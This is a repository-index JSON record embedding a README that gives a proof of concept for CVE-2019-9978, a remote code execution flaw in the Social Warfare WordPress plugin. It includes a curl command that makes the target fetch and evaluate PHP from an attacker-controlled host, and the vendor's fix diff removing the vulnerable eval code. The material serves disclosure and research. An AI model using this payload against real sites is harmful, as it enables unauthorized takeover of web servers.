{"id":18265889,"url":"https://github.com/mpgn/cve-2019-9978","last_synced_at":"2025-07-07T02:03:11.089Z","repository":{"id":43231866,"uuid":"177681155","full_name":"mpgn/CVE-2019-9978","owner":"mpgn","description":"CVE-2019-9978 - RCE on a Wordpress plugin:  Social Warfare \u003c 3.5.3","archived":false,"fork":false,"pushed_at":"2019-05-09T13:36:42.000Z","size":6,"stargazers_count":8,"open_issues_count":0,"forks_count":2,"subscribers_count":2,"default_branch":"master","last_synced_at":"2025-02-14T20:32:06.691Z","etag":null,"topics":["rce","social-warfare"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/mpgn.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2019-03-25T23:38:58.000Z","updated_at":"2024-08-12T19:47:14.000Z","dependencies_parsed_at":"2022-09-11T18:21:05.364Z","dependency_job_id":null,"html_url":"https://github.com/mpgn/CVE-2019-9978","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2019-9978","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2019-9978/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2019-9978/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2019-9978/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mpgn","download_url":"https://codeload.github.com/mpgn/CVE-2019-9978/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247958707,"owners_count":21024827,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["rce","social-warfare"],"created_at":"2024-11-05T11:20:27.173Z","updated_at":"2025-04-09T01:46:04.737Z","avatar_url":"https://github.com/mpgn.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# CVE-2019-9978 - Social Warfare Wordpress plugin RCE \u003c 3.5.3\n\n\u003e RCE on a Social Warfare Wordpress plugin without any prior authentication\n\n### Proof Of Concept\n\n```\ncurl http://127.0.0.1/wp-admin/admin-post.php?rce=id\u0026swp_debug=load_options\u0026swp_url=http://172.18.0.1:1337/exploit.php\n```\n\n![capture d'écran_7](https://user-images.githubusercontent.com/5891788/54961378-b2661500-4f60-11e9-928c-e02d1558d34f.png)\n\n**Vulnerable code**: \n\n![capture d'écran_6](https://user-images.githubusercontent.com/5891788/54961380-b42fd880-4f60-11e9-899a-1af9ce4b1a70.png)\n\n---\n\nFix:\n- https://github.com/warfare-plugins/social-warfare/commit/6295e4022de956e944fbf912c42f2ab20a6b28ff\n\n```diff\nFrom 6295e4022de956e944fbf912c42f2ab20a6b28ff Mon Sep 17 00:00:00 2001\nFrom: Cortland Mahoney \u003ccortland.mahoney@gmail.com\u003e\nDate: Thu, 21 Mar 2019 18:53:41 -0400\nSubject: [PATCH] Removed deprecated query parameter.\n\n---\n lib/utilities/SWP_Database_Migration.php | 65 ------------------------\n 1 file changed, 65 deletions(-)\n\ndiff --git a/lib/utilities/SWP_Database_Migration.php b/lib/utilities/SWP_Database_Migration.php\nindex 7cec1a25..2865993c 100644\n--- a/lib/utilities/SWP_Database_Migration.php\n+++ b/lib/utilities/SWP_Database_Migration.php\n@@ -218,71 +218,6 @@ public function debug_parameters() {\n \t\t// }\n \n \n-\t\t/**\n-\t\t * Migrates options from $_GET['swp_url'] to the current site.\n-\t\t *\n-\t\t * @since 3.4.2\n-\t\t */\n-\t\tif ( true == SWP_Utility::debug('load_options') ) {\n-\t\t\tif (!is_admin()) {\n-\t\t\t\twp_die('You do not have authorization to view this page.');\n-\t\t\t}\n-\n-\t\t\t$options = file_get_contents($_GET['swp_url'] . '?swp_debug=get_user_options');\n-\n-\t\t\t//* Bad url.\n-\t\t\tif (!$options) {\n-\t\t\t\twp_die('nothing found');\n-\t\t\t}\n-\n-\t\t\t$pre = strpos($options, '\u003cpre\u003e');\n-\t\t\tif ($pre != 0) {\n-\t\t\t\twp_die('No Social Warfare found.');\n-\t\t\t}\n-\n-\t\t\t$options = str_replace('\u003cpre\u003e', '', $options);\n-\t\t\t$cutoff = strpos($options, '\u003c/pre\u003e');\n-\t\t\t$options = substr($options, 0, $cutoff);\n-\n-\t\t\t$array = 'return ' . $options . ';';\n-\n-\t\t\ttry {\n-\t\t\t\t$fetched_options = eval( $array );\n-\t\t\t}\n-\t\t\tcatch (ParseError $e) {\n-\t\t\t\t$message = 'Error evaluating fetched data. \u003cbr/\u003e';\n-\t\t\t\t$message .= 'Message from error: ' . $e-\u003egetMessage() . '\u003cbr/\u003e';\n-\t\t\t\t$message .= 'Fetched data: \u003cbr/\u003e';\n-\t\t\t\t$message .= var_export($fetched_options, 1);\n-\t\t\t\twp_die($message);\n-\t\t\t}\n-\n-\t\t\tif (is_array( $fetched_options) ) {\n-\t\t\t\tforeach( $fetched_options as $key =\u003e $value) {\n-\t\t\t\t\tif (strpos( $key, 'license' ) \u003e 0) {\n-\t\t\t\t\t\tunset( $fetched_options[$key] );\n-\t\t\t\t\t}\n-\t\t\t\t\tif (strpos( $key, 'token' ) \u003e 0) {\n-\t\t\t\t\t\tunset( $fetched_options[$key] );\n-\t\t\t\t\t}\n-\t\t\t\t\tif (strpos( $key, 'login' ) \u003e 0) {\n-\t\t\t\t\t\tunset( $fetched_options[$key] );\n-\t\t\t\t\t}\n-\t\t\t\t}\n-\t\t\t\t//* Preserve filtered data, such as license keys.\n-\t\t\t\t$new_options = array_merge( get_option('social_warfare_settings'), $fetched_options );\n-\n-\t\t\t\tif (update_option( 'social_warfare_settings', $new_options )) {\n-\t\t\t\t\twp_die('Social Warfare settings updated to match ' . $_GET['swp_url']);\n-\t\t\t\t}\n-\t\t\t\telse {\n-\t\t\t\t\twp_die('Tried to update settings to match ' . $_GET['swp_url'] . ', but something went wrong or no options changed.');\n-\t\t\t\t}\n-\t\t\t}\n-\n-\t\t\twp_die('No changes made.');\n-\t\t}\n-\n \t\tif ( true === SWP_Utility::debug('get_filtered_options') ) :\n \t\t\tglobal $swp_user_options;\n \t\t\techo \"\u003cpre\u003e\";\n```\n\n\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmpgn%2Fcve-2019-9978","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmpgn%2Fcve-2019-9978","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmpgn%2Fcve-2019-9978/lists"}